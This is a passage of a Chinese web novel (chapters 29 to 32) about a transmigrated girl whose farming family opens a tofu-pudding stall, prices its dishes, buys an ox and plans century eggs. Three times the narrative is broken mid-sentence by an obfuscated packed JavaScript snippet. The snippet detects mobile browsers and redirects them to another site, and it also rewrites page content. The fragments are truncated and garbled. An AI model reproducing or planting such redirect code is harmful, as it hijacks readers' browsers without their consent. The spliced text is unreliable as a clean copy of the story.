“少有听说人喝牛奶的,回头我去县里打听打听看看。”林三郎思索了一下,见缝插针地回答她的问题。 林知了然,在古代,耕牛是很宝贵的,倒是喝羊奶的更多。 “好了,既然你们打算做,就要拿出计划和章程来,不要像个无头苍蝇一样乱转。”林阿奶看他们讨论的东西越来越不着边际,打断道。 “老三,你明天去城里打听铺子和摊位。老二准备些木材到时候说不定要做摊子桌椅板凳。老大和老大家的最近辛苦一些,家里的豆腐生意不要落下了。” “至于罗氏你带着大丫和二丫他们琢磨琢磨更多样子的吃食,单一样可不够卖。” 一经分配,林家人就有条不紊地各自干着自己的任务。 林二郎带着林仁、林义和林礼去物色一些木材,到时候做桌椅板凳啥的。 林知则去研究更多不一样的豆花了。 29. 第29章 “阿娘,我们家有没有甜酒啊?”林知大概在脑海里构思了一下豆花种类。 有民间旧俗,重阳前后要以糯米蒸酒,制醪糟,俗话说:“重阳蒸酒,香甜可口”。 “有,之前蒸好的,差不多正好可以可以喝了吧。”罗氏抱出一个坛子说:“还有不少,你先用这个。” 林知打算先做一个酒酿小丸子的。 把糯米粉拿出来倒进盆里,然后往盆里加入开水,揉匀。揉匀之后,取一小团面团,直接用手揪成均匀的小剂子。 放在锅里煮开,再加上甜酒。略带点嚼劲的软糯丸子配上甜滋滋的米酒,滋味简直不要太好。做好的丸子加入豆花中,给每个人投喂一点儿,感觉很不错,林知笑眯眯的接着准备做臊子的豆花。 下入先前切好的五花肉丁,炒至颜色变深之后加入先前切好的香菇丁和提前调好的酱汁,用小火不断地搅拌,将所有的酱料都熬干水分。 她还专门做了一种辣的和一种不辣的,加上葱花,散发出浓郁十足的味道立即得到所有人的喜爱。 暂时材料不够多,林知表示“巧妇难为无米之炊”啊。 好在过两天林三郎就打探消息回来了,他此时坐在凳子上喝了一口水,慢悠悠的说:“还是先前我们想的那样,铺子有点贵,还是租摊位更合算。” 换了一口气,看大家都围着他着急模样,又说:“租摊位五文钱一天,一百二十文一个月。我已经看好了位置,过几天就可以去了。” 这就是林家派林三郎去县城的原因了,胆大心细,能拿主意,省不少事儿。 “考虑到东西多,也不能老是来回跑,我在东街租了一个小院子,到时候放些东西方便。” “哦,还有二侄女儿,我在城里铺子买了好些材料,你去看看能不能琢磨出更多花样?对了,我已经打听好了,有户卖羊奶的人家,二十文钱一桶,这次我也带回来了一桶试试。”他连上次俞珩说的话都给记着呢。 林三郎直接两趟就把他们想要的信息情况给摸清楚了,接下来就好办多了。 林知听见他还带材料回来了,眼睛一亮:“三叔,有没有蜂蜜啊?” “啧,那可是精贵玩意儿,用来入药的,我们买来做吃食还不得亏本……”林三郎是胆子大,但是也不傻。 看林三郎说完了,林知“蹬蹬蹬”的跑过去看买的东西,除了一小桶羊奶,还有一大包红糖和一罐桂花蜜和干果。 正好,林知泡了小红豆打算做蜜豆,她又去做了一些豆花。 将红小豆浸泡一个晚上后,捞出加入超过豆子一节手指的水开始煮,煮到水没了,加入凉水,使豆子外表保持形状,将水倒掉加入红糖。 蜜豆软糯可口,外表晶莹剔透,红糖则为蜜豆增添了甜度和浓郁的蜜香。 熬开的羊奶滴几滴白醋去除膻味,浓香四溢。 再加一些干果,色香味俱全。 “怎么样?”林知期待地看着他们。 虽然最近林知一直在实验,试了各种方法和配比,大家也被各种花式投喂。但是有了新品种出来,他们还是吃得津津有味。 毕竟粗茶淡饭哪里有不是糖水就是臊子的豆花好吃。 “嗯,不错,好吃。” “我打探过了,县城里卖豆花的人不多,味道也不如你做的好吃。看来我们生意应该还可以。”林三郎豪气干云。 “那我们定价多少呢?”林知及时提问道,这种事情还是先说好,别到时候手忙脚乱的。 “城里其他家的豆花也得五文钱一碗吧,我们一样的价格?”林三郎建议。 “呃……那些材料可不便宜,光是红糖都得三十文一斤呢。”林大郎有些犹豫。 林三郎一副“奸商”的模样看着他,心痛不已,“大哥,我竟然没想到你是这种人,我们家光是卖豆腐都能纯赚一半的利润,更别说现在可是一斤豆子出六斤豆花呢。” 钱氏及时解救了脸都被憋红了的林大郎,“行了,别打趣你大哥了,他最老实好欺负了。” “那就定四文、五文的价吧。路要一步一步的走,踩踏实了,要不然容易摔倒。我们刚起步,还要攒点口碑和回头客的。”林阿爷觉得这样就很好了。 终于确定了大概,林家人都很兴奋。 “那接下来,我们就准备去做生意吧!”林义对做生意这种事情还是很感兴趣的,如果不用读书的话就更好了。 “对对对……,冲鸭!”林智蹦起来欢呼。 接下来,林知来确定菜单,和林仁合作写成文字,他们还想了个新办法,就是把字刻在小木片上,这样挂起来既好看又不容易坏。 林二郎他们先模仿小贩的那种推车,做了一个古代简易版餐车,当然,这是林知定义的。 其他人也在帮忙,要准备碗筷和桌椅板凳。 还是林三郎机灵,他待在城里时恰好碰上有家店铺拆了装修,就以比正规店里便宜不少的二手价买下了几套桌椅。 为此他还回来炫耀:“看吧,还是你们三叔聪明吧。” “对对对……”大家不走心地捧场道。 忙碌了三天,林家生意已经初步准备完成。 林知惊讶地站在一架餐车面前,没想到她爹还真琢磨出来了。 “嘿嘿,看街上那些摊贩用的也差不多,我心里琢磨了几遍,就做得差不多了。”林二郎看见大家都被震惊了的模样,不好意思地解释道。 林知只觉得以前老是在电视剧里或者前几次在街上看见的餐车没什么感觉,但是当她自己拥有一辆的时候,简直爱不释手。 “你们看,这左侧下面有一个方洞,正好可以放下去一个铁皮桶,这可是我跟二叔去淘到的好东西,拿来放上炭就可以加热了。” 林知点点头,的确,下面要用来烧火,要在上面砌炉灶,那肯定是不能用木材了,不然“轰”一下子就烧没了。 “还有上面这个雨棚可是可以拉出来的啊,这样多方便!”林义上蹿下跳地给大家介绍,语气一副不得了的样子。 “对了,阿爹,我们也要做一些大雨棚,万一下雨还可以遮,就是不下雨,遮太阳也行啊。”林知得了启发,提议道。 反正对于他们来说,不过是多费一些时间罢了。 想着明天就要摆摊了,林知和林慧罗氏她们今天晚上还准备了不少小料。 家里也磨了三大桶豆花,因为怕忙不过来,就暂时没有做豆腐了,到时候过两天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103961|194356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 适应了节奏再做打算。 “我的妈耶,累死我了。”林知一边揉着肩膀,一边打着哈欠回屋。 明天还要早起,她还小呢,觉睡不够会长不高的。 正要上床睡觉的她,眼睛一瞟就看见林智鬼鬼祟祟在往外看了一眼,趴着被窝里拱来拱去。 林知眼珠子一转,轻手轻脚的绕过去,猛的掀开他头上的被子,叫道,“阿智!你这是在干嘛呢?” 被吓了一跳的林智抬起头来看见是他姐,松了一口气,“阿姐,你差点把我吓死了。” 林知定睛一看,原来这小子是在给大黄喂奶,这么久了,大黄也长大了不少,它看见林知凶神恶煞的样子“嗷”一声就朝她吼。 “小不点,牙都还没长齐呢,就学会咬人啊?”林知拿手指直接把小虎崽戳的东倒西歪。 大黄表示不服气,龇牙咧嘴的“呜呜”叫着。 “阿智,你竟然把你的羊奶给它喝了,而且还让它上床,被阿娘知道了,你的屁股就要遭殃了。”林知幸灾乐祸地叉着腰说。 今天林三郎带回来的那一桶羊奶她拿了一些来做豆花,但是也用不完,怕明天不新鲜了,所以他们干脆就把羊奶给煮来喝了。 而且就算明天要用,他们也可以直接在城里买,带着去这么远的路很麻烦。 林智搂着大黄犹豫不决,“阿姐,别告诉阿娘好嘛?要不我把大黄借给你玩……”看林知的神色没有丝毫变化,他使出自己最后的杀手锏。 “嗷呜”大黄发出细小的声音表示反抗,意思好像在说,“怎么可以因为区区胁迫,就把我给出卖了呢?” 一大一小睁大湿漉漉的两双眼睛看向她,林知最后也只能缴械投降。 “算了,不过你可不能让它跟我们一起睡觉,要不然我把你们一起赶下床。”林知下了最后的通牒。 “呜呜呜,大黄,我只能再给你搭个窝了。”林智和大黄相望两行泪。 林知才不去管他们两个呢,她现在正在看自己的系统。 【宿主,你已经好久没有做过任务了。】系统有些无奈,它从来没有见过这么“咸鱼”的宿主。 林知也表示爱莫能助,这系统里的都是些什么奇葩任务,偶尔倒是能碰上正常,要不然就是让她上山捉野兽、上树掏蛋或者下河摸鱼。她看起来有那么厉害嘛? “对不起了啊,我只是一个普通人,哪里干的来这些东西啊。”林知耸耸肩,无视系统的怨气,继续“摆烂”。 再说,她也不想被一个电子系统胁迫,自己愿意做就会去做,如果逼她,反而会激起她的逆反心理。 而且一百斤的·林知·九十九斤的反骨,最近发了一笔横财。 今天她刚好见地里的白菜萝卜长得不错,有了秧苗。 于是偷偷趁没人注意,拔了几棵录入系统,竟然得到了一共近四千的积分,可以抵的上她平日里完成的两个任务呢! 一想到她上次聪明地种酢浆草时挑选了不少不一样的品种,就像看到了无数的积分在向她招手。 林知笑得愈发开心,这下在平时刷下悬赏任务,自己买麦种的积分也够了吧。 心里有了底的林知很快就在温暖的被窝里进入了梦乡。 30. 第30章 第二天照常一大早,一家子人除了小孩子便都起了,等到他们将要用到的吃食等都放进背篓时,罗氏才不紧不慢地去叫林知起床。 昨夜本是不准备让几个孩子也去的,但是最后林知以他们也可以帮忙,第一次需要带和搬的东西太多了,人多力量大嘛的理由撒娇卖萌。 可是大人们觉得去的人太多了,不好招呼人,这又不是出去玩,是做生意嘛。 “阿爷,我们不吃饭,只喝水,让我们跟着去吧。”林智求情道。 这是吃饭喝水的问题吗?林阿爷瞪眼,不为所动。 家里最后协商一遍,还是准许林义、林礼和林慧林知跟着去了,林智见状委屈巴巴的不愿意。 连林敏的小嘴都嘟着能挂壶油了。 “你们还太小了,这次家里人多东西也多,还要走那么远的路也顾不上你们。到时候生病受伤了,还要喝苦苦的药。”林阿爷的态度决绝。 见气氛凝滞,林义生怕到时候为显公平,连累到他们也去不了了。 “二哥回头把我练字的那份纸让给你……”林义偷偷扯了扯林智的袖子,他心里暗戳戳地想,反正他也不喜欢,正好一举两得。 最近林智完全迷上了练字,最后咬咬牙勉强同意了,林敏见四哥哥不闹了,自己没有同盟也罢了。 天际浮起一片鱼肚白,太阳也从山后探出了半个头,大地也渐渐地光亮了起来。 林大郎、林二郎和林三郎和罗氏带着几个孩子也进了城。 林大郎和林三郎带着林义林礼推着板车,上面搁了三大桶豆花和碗筷,都是他们昨天晚上就准备好的。林二郎推着小摊车,没错,为了方便移动,他们还给摊车安上了轮子,挡板放下来就可以操作很方便。 还有各种杂七杂八的东西,林知和林慧拎着篮子,里面放着瓦罐,一些调料和小料糖水啥的。 瓦罐的保温性好,所以此时的食物都还是温热的。 一行人深一脚,浅一脚地走到租好的摊位都快要直不起来腰了。到了市集已经有些晚了,大部分的小贩都已经开始做生意了。 空中包子和烧饼等食物的香气一直弥漫着。 周围的摊贩看着他们这么大一堆人带着这么多东西皆是目瞪口呆。 “唉,三叔,我们家的摊位就是这里啊?”林知跟着他们一路都要走到尽头了,才停下来。 到了地方,林家人一看,确实人流量比较少,摊位也比较少,但也没有到没什么人的地步。 “这还是我好不容易才租到的位置了,要不是这里上一个摊贩走了,我们位置还要偏上不少呢。”林三郎终于把车停好了,摸了一把汗,直起身来说。 “没事儿,酒香不怕巷子深。”林二郎冷静道。 林知应和地点了点头,她心里还想着另外的事儿呢。这可不行啊,林知忧愁地想,要是每次都要走这么远和久的路,她可就得累死了。 看来家里还是得买一头牛,不仅可以下地,而且套上板车就可以坐牛车了。 这是主街的一边,跟市场不一样,来往的人还是挺多的,也会有人吃早食午食。 尤其是乡下来的,吃不起太贵的酒楼饭店,到铺子上喝口热汤,吃个包子的人居多。城里也有吃腻了家里的饭,出来打个牙祭的。 只不过,林知看着他们家的位置已经到了末尾,再过去一点就是东街也就是居民区。 “看见了没,从这里下去,再拐个弯,第二个院子,就是咱们家租的那间房子了。”林三郎一边收拾东西,一边用手指给大家看。 一群人手脚麻利,几下就收拾差不多了,虽然地方有点偏,但是好处在于宽大啊。他们东西多,又力求整洁,所以占的地方还不少呢。 林三郎刚才也带着几个人去小院子把之前买好的桌椅给搬了过来。 那厢,罗氏也已经把吃食收拾出来了。摆得整整齐齐的佐料和小料,干干净净的看起来就很有食欲。 四张方方正正的桌子,一架小推车加上三大桶豆花,插上“林记豆花”的旗织,这就是他们一家的开始。 “三弟,你把这些分给附近的小贩们去吧。”罗氏做了几碗红糖豆花,向林三郎招手道。 几个人中他最是机灵,能言善道,跟别人打交道他最在行。 罗氏仔细叮嘱道:“俗话说,远亲不如近邻,能打好一点关系,也能少一点麻烦。” “诶!”林三郎立即换成一副笑眯眯的表情。 一旁还在观望的摊贩看新来的一家如此上道,不由心生好感,暗道他们很是会做人啊。 见都开张半天了还是没人,林知忍不住喊道,开始招揽客人。 “豆花、甜豆花、辣豆花嘞~” “头天开业,免费试吃,先到先得啊!” 这是他们家昨天就商量好了的,虽然酒深不怕巷子深,但是能多招揽一些客人何乐而不为呢? 果然,优惠活动还是吸引了一些顾客,可能是一位要回家的妇人带着一个女孩路过,看见他们的招呼有些犹豫地上前来问看看。 “你们这个怎么卖的啊?” 担心一般大众是不认识字的,所以林家人把菜单都给背下来了,还好种类不复杂。 “娘子,我们有可以直接加辣椒油、红糖的豆花,都是四文、还可以加臊子、酱肉蘑菇、酒酿小丸子和桂花酿都是五文的。甜的豆花添一文还可以额外加蜜豆和羊奶。”罗氏淡淡露出微笑说道。 罗氏本就生得好看,又加上温和的笑容,就让人如沐春风。 妇人也放缓声音微笑着说:“不是可以试吃吗?我们就尝尝甜口的吧。” 一旁的林知早就准备好了,用干净的碗舀上一些豆花浇上小料递过去。 妇人先是给小女孩吃,自己才尝过一口。 小女孩眼睛一亮:“阿娘,好吃。” 倒也不是很贵,她只踌躇了一下就答应买了,然后让小女孩去选一个她喜欢的口味儿。 “我想要桂花酿的豆花……”小女孩牵着她娘的手小声说道。 “来两碗吧……”这价格也不算贵,毕竟有糖,现在隔壁的馄饨都能卖到六文钱一碗。 “好嘞!”罗氏笑着应下了,并招呼林慧把豆花打出来放到碗里,她负责来加一些小料,林二郎负责收钱。 终于开张了,收获了八文钱,大家都高兴极了。 母女俩就坐下来,四文钱的豆花份量也不少。白净的瓷碗中盛满了豆花,淡黄的汤汁上还飘着几颗桂花,小小的勺子一舀,豆香带着甜味和桂花香味。 “阿娘,真好吃,你快尝尝……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17108682|194356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小女孩开心地眯着眼对一旁的妇人说。 “好好好,阿青吃……”妇人温柔地笑笑,摸了摸小女孩的头。 见有人来吃了,店家还真给尝。刚才还在观望的人立即上前问,他们能不能也尝尝。 罗氏都是一副笑眯眯的样子来者不拒,就算有的人只是单纯占便宜,不仅各种口味都尝了,并且最后也没有买就走了,林家人还是态度不变温和地招呼着。 凡事开头难,一旦有了开头,接下来就简单多了。 虽然只尝的人不少,但还是有觉得味道不错的人留下来吃。 见人变多了,生意也好起来了,林义学着刚才林知的样子,跑到远一点的地方喊道: “豆花、豆花,林记豆花!免费试吃喽……” 林礼也被影响着嚷了起来。 “来一碗辣豆花……”一位穿着青布长衫的青年人施施然地坐下。 “诶,客官有没有什么忌口的?” “并无……”青年人笑了笑。 “好嘞,您稍等,这里坐……”林二郎笑着招呼着客人,回头喊道,“一碗辣豆花,没有忌口。” 林慧马上从釜里打一碗热豆花,釜是放在车架的洞上,下面烧着炭,所以总是热的。 罗氏一手麻利地在一个碗里放入酱醋、辣椒油、糖、姜蒜搅拌均匀浇到豆花上,另外一个手加上榨菜末、葱花,片刻一碗辣豆花就好了。 青年人看着眼前端上来的的豆花,红白绿相衬,用勺子舀一勺喂入口中,香麻中咸香味窜上来,实在不错。 他赞许地点了点头。 “店家,再打包一份酒酿小丸子的豆花吧。”青年人吃完豆花,又笑着跟罗氏说。 “不好意思啊,我们现在还没有打包的,如果先生不介意的话,只能拿碗来装了。”罗氏有些不好意思地解释道。 “无事,我等会儿再来吧。”青年人颔首,倒也没有为难就走了。 等林家人都忙了一会儿了,一位妇人挎着篮子笑眯眯地走上来:“店家,就是我们先生刚才说打包一份豆花的,还记得吗?” “记得记得,我给您装……”见人家还真花心思来打包,罗氏特意还给多装了一些,“下次再来啊!” “诶……”最后妇人付了钱,提着篮子走了。 等到了中午,林家人才卖完豆花。 林大郎和林三郎还从租的房子那里打来了水,因为碗筷不够多,还蹲在一边把碗洗了才能再用。 林二郎则是带着两个小子招呼客人和收拾打扫卫生,罗氏带着两个女孩打豆花。 几人还趁人少的时候换着吃了个早食。最后看实在没人了,豆花也没有卖完,一家人就坐在凳子上把还剩下的一点豆花给吃了。 “唉,吃了这么多次了,还是好吃啊,怎么没有卖完呢?”不过也正常,他们这是第一天呢。 林义摸了摸饱饱的肚子,其实心里想着没有卖完也好,嘿嘿,这样他们就可以吃了。 林家都是根据观察另外几家卖豆花的铺子,他们有时生意好到一天可以卖出去四五桶,想着今天才是第一次,没有老客,所以他们只带了三桶。 结果三桶豆花还是这种情形。 “唉,我看今天都是半卖半送的,亏大了……”林大郎有些气馁。 31. 第31章 “大伯父,不是这样的。” 林知放下手中的碗,摇摇头,“我们这只是一种营销手段,无论他们今天有没有花钱买,都吃了我们家的豆花对不对?” “我们家的豆花还可以吧,那么就算真正只有一个人吃过,又觉得好吃的话。那么他就会买回去给家人吃吧?会推荐给亲戚朋友或者邻居们,这样一来,就会带给我们更多的客人对吧?” 这就是一个消费者背后至少有三十个隐形消费者的概念,得罪或者讨得了一个顾客,那么相应也是得罪或者讨好了他背后的三十个顾客。 “没错,阿爹,干大事的人眼光都看得长远,不能纠结于眼前的这些小利益。”林义最近在林知的潜移默化的影响下,脑袋也变得灵活了不少。 “你懂完了……”林大郎没好气地瞪了他儿子一眼,哪有拆老子的台的。 “阿爹,你这是恼羞成怒!”林义愤然叫道。 “哈哈哈……”其他人闻言,忍不住哈哈大笑。 “行了行了,我们还是算算今天卖了多少钱吧?”林三郎激动地打断大家的话。 “财不外露,这大街上的人来来往往的,你还把钱给掏出来数啊?”林二郎不赞成地给拒绝了。 “那我们现在就收拾东西回家去吧。”罗氏也赞同地点了点头。 见时间也不早了回去也得是大下午,而且还得准备明天的豆花来卖,大家开始收拾东西,把需要带回去的放在板车上,桌椅板凳和摊车就留在了租的院子里面。 — 花开两枝,各表一枝。 而另一边,常大婶提着一个篮子走到东街后一个院门进去了。 “崔先生,豆花买回来了,还是温热的呢。”她把篮子搁在院子里的小桌上,一脸带笑地冲屋里喊道。 “那你拿进来吧,姚娘有些不舒服,今天就不在院子里吃了。”刚才一身青布长衫的青年人手握一本书卷,听见声音就从里屋走了出来。 想了想,他还是上前接过篮子道:“算了,放着我来吧,你去休息吧。” “诶……”常婶子行礼退下了。 青衫男子端着碗走入里屋,正卧在床上的人听见脚步声,却偏头向里还用被子蒙住脑袋,一副任来人说什么都不会理的模样。 他见姚娘这么稚气的模样,轻声笑了笑,无奈摇摇头:“好了,还在赌气呢?你现在身体不好,就在家好好休息,等你病好了,下次我带你去城外玩儿怎么样?” 姚娘一听对方有了让步,不由心下微软,倒也不再生闷气,只是“哼”一声。 “来来来,我今天在街上遇上一家新开的豆花铺子,味道还不错,专门给你带的你爱吃的甜豆花。”他温声细语地说。 崔先生从篮子里取出小碗,拿过勺子作势要给她喂。 一听见新的豆花铺子,姚娘来了兴趣,他们在这里待了这么久了,城里的铺子吃了没有八成也得有七成了吧,得老崔一句不错也算得上美味了。 “哼,这次就原谅你了,不过记得你说过的话啊,过两天要带我出去玩。”姚娘咕噜一下翻身起来,还恶狠狠地瞪了他一眼。 “你呀,你呀……”崔先生哭笑不得,自己明明说的是等她病好了,结果被硬生生说成了过两天。 姚娘一边用“威胁”的小眼神盯着他,一边咬着勺子吃豆花。 “嗯,的确挺不错的。”她不由点点头。 豆花色白如玉、质嫩如饴、绵而不老、嫩而不溏、口感细腻,连窖水也是清甜可口的。 姚娘微眯起双眼,崔先生打趣她道:“这下不生气了吧。” * 蔚蓝色的天空,在深秋时节,一尘不染,晶莹透明。 林知走得实在是累了,林二郎把她抱起来放在板车上,她晃悠着两条小腿也没有拒绝,只是在路比较难推的地方下来跟大家一起走。 林智今天待在家里没人陪他玩,还挺无聊的,所以他恨不得跑到村口去等他们回来。所以等一大群人的身影出现在视线之中,他就眼尖的发现了他爹娘和阿姐他们。 “阿爹!阿娘!阿姐!”林智朝他们跑过去,后面还跟着一个小小的尾巴。 “哎呦……”林二郎一把接过扑过来的小身影,“这么大了还撒娇,羞羞。” “嘿嘿……”林智不好意思的挠了挠头,这不是太激动了嘛。 大黄也跌跌撞撞地跑到他们腿边蹭了蹭。 俞珩正捧着一本书坐在树下看,这应该是林阿爷年轻时候的书了,正看得津津有味的时候发现林家人推着东西恰好都回来了。 “阿俞,在看书啊……”大家朝他打招呼。 “嗯,闲来无事的时候看看。”俞珩站起身来不好意思地回答。 林知盯着他手里的书看了一眼,没有说什么。 因为不仅成功卖出去了豆花,还又采购回一些食材,于是院子里下货的,分东西的又是一阵热闹。收拾好了东西,林家人又整整齐齐地坐在了堂屋里,俞珩还是坐在院子里看书没有动弹。 林阿奶见几个孩子的目光频频投向窗外,语重心长地对他们说:“防人之心不可无,害人之心不可有。你们一天也不要把家里的事情到处出去嚷嚷。再说了,人家那是守礼知事,做人做事的道理,你们以后还有得学。” 其他人点点头表示自己明白了。 林义一副打包票的模样:“阿奶,你就放心吧,我们绝对不会到处说的。” 最近,家里几个孩子一面读书,要不就是练字讨论功课,要不就是帮忙家里的生意,几乎都没有时间去找他们以前的小伙伴们玩儿了。 “行了,你们说一说今天的情形怎么样吧?”林阿爷闻言直接问道。 其他人也是一样好奇和期待,生怕有什么意外。 林二郎没有说话,先是把褡裢里的铜钱给倒在了桌上。 “当当当——”清脆的铜钱撞击桌面时发出声音,萦绕在大家的耳边久久不能散去…… 小本生意的买卖,大家一般都是用的铜钱。 现在生产力低下,开采出来的白银不多,大部分被皇帝收走,铸造成银碗、银杯、银首饰,留着自己享用,或者赏赐给有功的大臣。 在市面上流通的钱多是铜钱。而且白银容易被氧化,而铜币更加稳定,因此适合流通。当然价格昂贵的实物,也可以拿来做大额交易。比如技术含量高、外观好看、市面上稀少的锦、绫等丝织品。 “哇……看起来比卖豆腐的还要多呢。”钱氏忍不住摸了摸桌子上的钱。 “我们还没有算过,想着回家再一起算。”林三郎解释道。 “我,我来数……”林义激动起身,他们最近学了数数,此时终于有了用武之地,心下痒痒,忍不住要试一试。 林智见状也划了一堆铜钱在自己面前,他也想数。 于是,接下来只剩下几个孩子稚气的声音在屋里回响。 “五十五……” “一百五十一……” 林敏才学不久,也记不住那么多数字,数着数着就乱了套,七十九过了又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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由于他们买的一些材料还没有用完,也不好计算具体的数据。 “这样混乱下去不行,我们得准备一个专门记账的账本了。”林阿奶提议道。 其实他们家有一个记账的账本,只不过如果要记家里的生意的话,就不够看了。 “对,买东西的支出和卖东西的收入一笔一划都写清楚,这样就不会乱套了。过年我们再来各家分账……”林阿爷颔首道。 “账本先放在我这儿,老三,你来把最近买东西的支出记在上面。就这样,散了吧,各忙各的……”林阿爷最后发话道。 “等等,阿爷,我们还做不做豆腐啊?”林知站起来,急忙提问道。 如果生意好的话,他们应该要多做一些豆花,可是再加上豆腐的话,这么远的路可不好带着去了。 想通的大家默默不语,虽然豆腐不如豆花卖得多,但是也是家里的一笔进账不是,现在冬天家里没有收入和活干,能多赚一点是一点。 “要不然,我们家买一头牛吧?这样就可以有牛车了,还可以拿来耕地。”林知最终说出了她的目的。 林阿奶默默摸着铜钱不说话。 “不错,我也是这么认为的,既然你们提出来了,我们就去看看牛吧。”林阿爷深思熟虑之后觉得这个建议不错。 看天色还早,说着林阿爷起身就要出去了,村里的林三叔家前几天还说要卖头牛呢,他可以去看看价格。 32. 第32章 林阿奶一看就知道他心里想的啥,一把将他手臂抓住:“还是我去吧,你……” 林阿爷看林阿奶一副嫌弃的样子,仿佛在说,你都活了大半辈子了还不会砍价,就悻悻而归。 “你们阿爷啊,脸皮最薄了,哪里会跟别人砍价,还是我去吧。”林阿奶仰着头像一个即将上战场的将军,钱氏见状也连忙跟了上去,她还回头朝大家挥挥手:“你们该干嘛干嘛去,别在这儿杵着。” 行吧,大家震惊的目送她们两个出了门。结果,几个孩子实在想看热闹,直接跟着去了。 “阿娘这样真的没有问题吗?”林三郎犹豫开口。 说得林知和俞珩都好奇侧目了,林二郎摇摇头表示自己不管了,其实他们更应该担心别人会不会有问题。 点豆花豆腐罗氏和林慧都很熟练了,他们已经可以揽过去大部分工作,甚至做得比林知还要好了。 林知进了房间,先是抱了抱床上并排躺着的两个小孩儿,“嗯,福宝、乐宝,来阿姐香一个。” 两个小孩儿已经一个多月了,因为养得好,看起来粉雕玉琢的样子很是喜人。家里忙,所以他们被放在用被子围成一圈的床上躺着,时不时会有人进来看看。 他们也机灵,不哭不闹。只要一有人进来,眼珠子就跟着那个人转。还手舞足蹈的发出声音想吸引来人的注意力。 林知玩了一会儿小孩儿,觉得自己应该找点事做。 小孩子正是长身体的时候,觉多,不一会儿就把自己玩睡着了,于是她就出了门。 正巧碰上马氏从后院鸭棚提着一个篮子出来。 “三伯母……”林知露出乖巧的笑,朝她打招呼。 马氏突然看见一个人,还吓一跳:“二丫啊,在这儿干嘛呢?” 林知看见她手里提着的鸭蛋,突然想起来上次听林义他们抱怨,鸭蛋太腥了不好吃的事情。她突然有些怀念自己以前经常吃的松花蛋,也就是皮蛋。 她回忆片刻就说:“三伯母,这鸭蛋可不可以给我用,我想做一些新的吃食。” “这……”马氏有些犹豫,虽然这段时间林知的话语权变大了不少,但是家里的东西,她还是得过问一下婆婆,也不能做主。 “没事儿,我等一下跟阿奶说。”林知似乎看出来她在担心什么,所以直接说出来了。 “行吧。”马氏才把篮子递给她,门口就传来闹呼呼的声音。 原来是林阿奶和钱氏他们回来了。 后面还跟着一头牛。 “你们是没看见那激烈的场面,阿奶跟三叔公他们是唇枪舌战,你来我往。最后阿奶险胜,气得三叔公耳红面赤、捶胸顿足……” 林义和林智相互配合地在一旁手舞足蹈的描绘当时的情况,恨不得跳起来。 也难为他们俩,才学了几个成语就全用在这里了。 “去去去,当着我的面编排我呢?”林阿奶不耐烦的把他们挥到一边去,“虽然他们是明码标价,但是买卖讲的就是你情我愿,既然人家肯答应,那就亏不了。” 钱氏在后面憋笑,那是,讲价都把他们家啥时候扯的菜苗,啥时候借过粮食的人情都给拿出来讲情了。 “原本四两八的价说定了四两六,两岁多的健牛,开春就能下地了。”林阿奶仰着头,像是打了胜仗归来的大将军说道。 足足少了两百文呢,大家不用想,都知道那硝烟四起的战况了。 “哈哈,好好,我们家也是有牛的了……” 买牛对于农家人来说可谓是一件大喜事,不亚于娶亲嫁媳妇儿,林家一群人喜气洋洋。 林义他们还围着牛打转,趁着其他人都在说话并没有关注到这边,甚至想上手去摸呢。 大黄牛摇着尾巴,伸出舌头舔舔这,舔舔那,蹬蹬蹄子又刨刨地,还不时地东张西望。 林智眨巴着他的大眼睛,见牛有些不安,怕撞到自己,忍不住挪了一下位置,看向林义问道:“二哥,你有没有骑过牛啊?” “没有……”林义摇摇头,但是眼睛却看向牛,透出些不怀好意。 “去去去,别站在这儿,小心牛撂蹄子踢到你们。”钱氏对着一群非要在旁边凑热闹的小孩儿不耐烦的挥挥手,快步过去把牛给牵走。 林大郎和林二郎在后院里圈了一块地准备用来盖牛棚,钱氏将牛拴好便过去帮忙了。 见林阿奶拍拍衣服,终于忙完了的样子。 林知笑着凑到林阿奶的身边:“阿奶,我想用家里的鸭蛋。” 家里置办了财产,林阿奶也是喜开颜笑的样子,她毫不在意地说:“你用吧,随便。” “那我全部都要了哦?”闻言,林知又接着问。 听见这话,林阿奶先是皱了皱眉,但也没有指责她,而是耐心询问:“这些天虽然攒的鸭蛋不多,但也有三十来个。你要这么多来干嘛?” 鸭蛋虽然太腥没有多少人爱吃,但是也能值两文钱三个。 林知没想到家里还有这么多鸭蛋。 到了秋季,气温下降和日照渐弱渐短,产蛋率就会下降,冬季严寒和光照不足,产蛋率就会继续下降甚至停产。 看来自己家养的鸭子还不少呢。 “呃,我就是想拿来试一试能不能做成松花蛋,就是一种好吃的!” 看着林知目露期待,又听见是做吃食,林阿奶思虑片刻就答应了。 最近家里的东西都是林知捣鼓出来的,也赚了不少钱了,说不定她又有什么想法呢,就一些鸭蛋还是可以试一试的。 